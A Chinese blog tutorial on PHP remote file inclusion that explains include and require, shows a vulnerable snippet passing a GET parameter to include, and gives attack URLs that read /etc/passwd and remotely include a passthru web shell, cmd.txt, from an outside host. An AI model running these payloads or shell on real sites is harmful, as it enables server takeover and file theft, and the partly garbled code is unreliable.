RFI远程文件包含的漏洞

RFI(Remote File Inclusion) 远程文件包含漏洞,即服务器通过PHP的特性(函数)去包含任意文件时,
由于要包含的这个文件来源过滤不严格,从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定
的恶意文件达到攻击目的。
文件包含的目的
程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在
其他文件中包含调用代码的文件。
PHP中常用的包含调用函数有:
include(), require(), include_once(), require_once() .
include失败会弹出警告 而require则直接导致致命的错误
本地包含与远程包含
Include(“reg.php”)
If ($_GET [page]) {
Include $_GET [page];
} else {
Include “home.php”;
}

http://www.***.cn/php/main.php?page=reg.php
main.php 取得page值,执行“($_GET[page])”
如果page的值为空则包涵home.php否则include这就是本地包含
http://www.***.cn/php/main.php?page=http://www.***.cn/index.php
http://www.***.cn/index.php是一个远程的URL链接地址
这就是远程文件包含PHP配置文件中,allow_url_fopen默认是激活的

构造包含变量,产生包含漏洞 http://www.***.cn/php/main.php?page=why.php
如果why.php是并不存在的文件,那么include便会报错从而暴露出网站的物理路径
远程文件包含漏洞的利用---构造一个远程的php代码文件,传递到服务器上去
执行,以实现远程攻击的目的,这个也就是所谓的远程包含漏洞攻击了
1) 读取目标主机重要文件 可以使用…/…进行目录跳转
http://www.***.cn/php/main.php?page=/etc/passwd
2) 包含PHP木马,获得shellcode

If (get_magic_quote_gpc())
{$_REQUEST[“cmd”]=stripslashes($_REQUEST[“cmd”]);} //去掉字符串中的反斜线
Ini_set(“max_execution_time”,0) //不限制执行时间
Echo “
Binghe
"; //
Passthru($_REQUEST[“cmd”]); //运行cmd制定的命令
Echo “
Binghe
"; //
?>


这段php代码的意思是接受cmd制定的命令,调用passthru函数来执行binghe
把上面的代码保存为cmd.txt并存放在每个可以通过http访问的服务器上面
http://www.***.cn/cmd.txt
http://www.***.cn/php/main.php?page=http://www.***.cn/cmd.txt?cmd=ls
is是cmd的命令是查看,列目录,文件的意思,也可以使用其他的命令,然后就可以看到返回的结果了。

posted on 2013-11-19 00:58  =_=!  阅读(4964)  评论(1编辑  收藏  举报

导航